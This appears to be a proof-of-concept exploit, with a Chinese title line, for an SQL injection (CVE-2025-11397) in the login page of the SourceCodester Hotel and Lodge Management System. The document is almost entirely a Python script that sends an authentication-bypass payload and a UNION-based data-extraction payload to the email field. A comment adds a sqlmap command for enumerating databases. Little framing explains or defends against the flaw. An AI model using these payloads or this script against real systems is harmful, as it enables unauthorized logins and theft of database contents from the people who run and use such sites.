CVE-2025-11397 SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11397 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /login.php # Vulnerable Parameter: email import requests # Target configuration TARGET_URL = "http://target.com/login.php" # SQL Injection Payload - Authentication Bypass payload_email = "' OR '1'='1' -- " payload_password = "anything" # Data extraction payload using UNION-based injection union_payload = "' UNION SELECT 1,2,3,4,5,6 -- " def exploit_auth_bypass(target_url, email, password): """ Attempt authentication bypass via SQL injection in email parameter """ data = { "email": email, "password": password } try: response = requests.post(target_url, data=data, timeout=10) if "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f"[+] Authentication bypassed successfully!") print(f"[+] Response length: {len(response.text)}") return True else: print(f"[-] Authentication bypass failed.") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def exploit_data_extraction(target_url, payload): """ Extract database information via UNION-based SQL injection """ data = { "email": payload, "password": "test" } try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Using sqlmap command line for automated exploitation: # sqlmap -u "http://target.com/login.php" --data="[email protected]&password=test" -p email --dbs if __name__ == "__main__": print("[*] CVE-2025-11397 PoC - SQL Injection in Hotel and Lodge Management System") print(f"[*] Target: {TARGET_URL}") # Attempt authentication bypass exploit_auth_bypass(TARGET_URL, payload_email, payload_password) # Attempt data extraction exploit_data_extraction(TARGET_URL, union_payload)